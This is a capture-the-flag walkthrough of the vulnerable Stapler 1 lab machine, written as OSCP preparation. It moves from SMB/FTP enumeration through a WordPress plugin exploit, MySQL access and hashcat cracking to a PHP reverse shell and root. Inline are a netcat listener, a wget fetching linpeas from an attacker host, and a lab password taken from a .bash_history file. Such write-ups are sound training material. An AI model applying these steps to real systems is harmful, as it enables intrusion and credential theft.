Stapler 1 is a vulnerable machine found on the NetSecFocus Trophy Room list which I have been using as preparation for the OSCP. Below is a walkthrough to compromise this machine.
First, after downloading and importing the machine into VMware, I had to figure out the IP address of the machine. I used netdiscover -i eth0 until I came across the IP of this machine.
Next, I ran threader3000 to enumerate the open ports and let it run it’s recommended nmap scan.
It appeared that FTP access was open to the anonymous user, so I connected with ftp [machine ip] and entered the user of anonymous and a blank password. Once connected, I ran ls to list the directory contents, which had a note file present. I ran get note to download this note file locally.
Next, I reviewed the note’s content with cat note.
Next, I ran nmap –script smb-enum-shares -p 139 [machine ip] to enumerate the SMB shares.
It appears that the anonymous user has read access to \kathy and read/write access to \tmp. I ran smbclient \\\\[machine ip]\\kathy -U “” to connect to kathy’s share. I then ran ls, which showed directories of kathy_stuff and backup. I then ran cd kathy_stuff followed by ls and saw that there is a file named todo-list.txt present. I ran **mget *** to download this file. I then ran cd .. followed by cd backup and another ls. This showed two files present, vsftpd.conf and wordpress-4.tar.gz. I then ran **mget *** to download these files as well.
None of these files had anything important in them, as the ftp/WordPress files were default files, and the todo-list.txt didn’t really have anything useful in it either. Next, I looked at the webpage on port 80, which had nothing present on it, I then looked at the website hosted on port 12380, which had a coming soon page present. I decided to run nikto -host http://[machine ip]:12380 to enumerate this host. It found that the site uses SSL and two entries in the robots.txt file on the HTTPS site: /admin112233/ and /blogblog/.
Looking at the /admin112233 directory redirected to another website mentioning XSS so I made note of that in case it was a hint needed for later. Next, I navigated to https://[machine ip]:12380/blogblog/ and it appeared to be a WordPress blog.
Next I ran wpscan –url https://[machine ip]:12380/blogblog –disable-tls-checks. This uncovered the fact that the uploads directory lists its contents.
Let’s go to https://[machine ip]:12380/blogblog/wp-content/uploads. It appears that nothing is in this directory, but we can go up to its parent directory.
Navigating up a directory reveals a plugins directory, let’s see what is in there.
It appears that there are several plugins here. Let’s take a look at the advanced-vdieo-embed-embed-videos-or-playlists directory.
From here, let’s look at the readme.txt file.
It appears that this is version 1.0 of this plugin, which has an exploit available. A quick Google search reveals exploit ID 39646.
From your attacker PC, run searchsploit 39646, which should return the results shown below.
Let’s run searchsploit - m 39646 to copy this exploit to our current directory.
I then opened the exploit it an editor and modified the url variable to point to “https://[machine ip]:12380/blogblog” and saved the exploit.
The exploit seems to have failed because it could not verify the certificate. I decided to review the code of the exploit again.
This is where I found the highlighted section above. I modified it by replacing the ’ +str(randomID) + ‘ portion with several 7s (I don’t think the value matters) and then copied this URL string (as shown below). This will save the wp-config.php file to a .jpeg file.
I then copied/pasted this value into my browser to run this exploit code.
. It also created an image named [random number].jpg)
I navigated to /blogblog/wp-content/uploads and the jpeg file was present there. I saved it locally as [file name].txt.
I then opened the file with Mousepad on my attacker PC
Scrolling through the config led us to the login credentials for MySQL. This port was also accessible externally based on the nmap scan earlier. Let’s run mysql -u root -h [machine ip] -p and enter the password above when prompted.
Let’s run show databases; to list the databases on the server and then use use wordpress; to select the WordPress table. Next, let’s run show tables; to list the tables in the database.
Let’s next run select * from wp_users; and you will get a huge list of users/password hashes as shown below.
Let’s slightly modify our query to select user_login,user_pass from wp_users; to only get the usernames and password hashes.
Next, let’s copy this and save the hashes only to a text file on your attacker pc. I saved it as wphashes.txt.
Let’s run hashcat to crack these hashes with hashcat -m 4000 -a 0 wphashes.txt /usr/share/wordlists/rockyou.txt.
After a bit, it cracked a few of the passwords.
I lined these hashes/passwords up with the list we had copied over originally and was able to login as 4 different users, but none of them were an administrator. I then remembered that usually the first user listed was the admin, so I modified wp-hashes.txt to only have that hash present and reran hashcat -m 4000 -a 0 wphashes.txt /usr/share/wordlists/rockyou.txt. After a few minutes, it cracked this user’s (john) password.
Below are a list of the users and passwords that were cracked. I tried to SSH into the target machine with all of these usernames/passwords, but none were successful.
I then logged in with John’s credentials for WordPress, and he is an administrator. I clicked on Plugins, Add New and then Browse so I could upload a reverse PHP shell. I modified this shell to point to my attacker PC’s IP address and a port of my choosing (4444). Once modified, I saved it and uploaded it.
The screen below came up after uploading the PHP shell. I ignored this as we do not need to configure anything.
From my attacker PC, I started a nc listener with nc -nvlp 4444 (as this was the port I had specified in the reverse shell to connect on).
I knew that files typically got uploaded to /wp-content/uploads under the base WordPress site URL, so I navigated there. We could see a directory listing, which had the reverse shell we just uploaded. I clicked on this file to execute the reverse shell.
At this point we finally had a foothold. Running whoami revealed we have access as user www-data
Next, I upgraded my shell with python -c ‘import pty; pty.spawn("/bin/sh")’.
Next, I served up a python http server on my attacker PC with python3 -m http.server so we could retrieve linpeas.sh to enumerate this box further. From the initial foothold, I ran cd /tmp followed by wget http://[attacker ip]:8000/linpeas.sh and then made it executable with chmod +x linpeas.sh.
I then ran linpeas.sh with ./linpeas.sh and reviewed the results.
The Linux kernel seemed exploitable based on linpeas, and a quick look at searchsploit confirmed several potential exploits that could work. However, before digging into each of those, I noticed that peter was a member of the sudo group and JKanode’s .bash_history file had an ssh password present. I ran su peter and entered the password found above (JZQuyIN5) and now I had access as peter. I was then prompted with setting up Z Shell, so I selected options 1 followed by 0 to complete setup.
Next, I ran sudo -l and it appears that peter can run anything as root.
I then ran sudo su followed by whoami to confirm I had root access. Next, I ran cd /root followed by ls and there is a flag.txt file present. I ran cat flag.txt to get the root flag and finish this box.
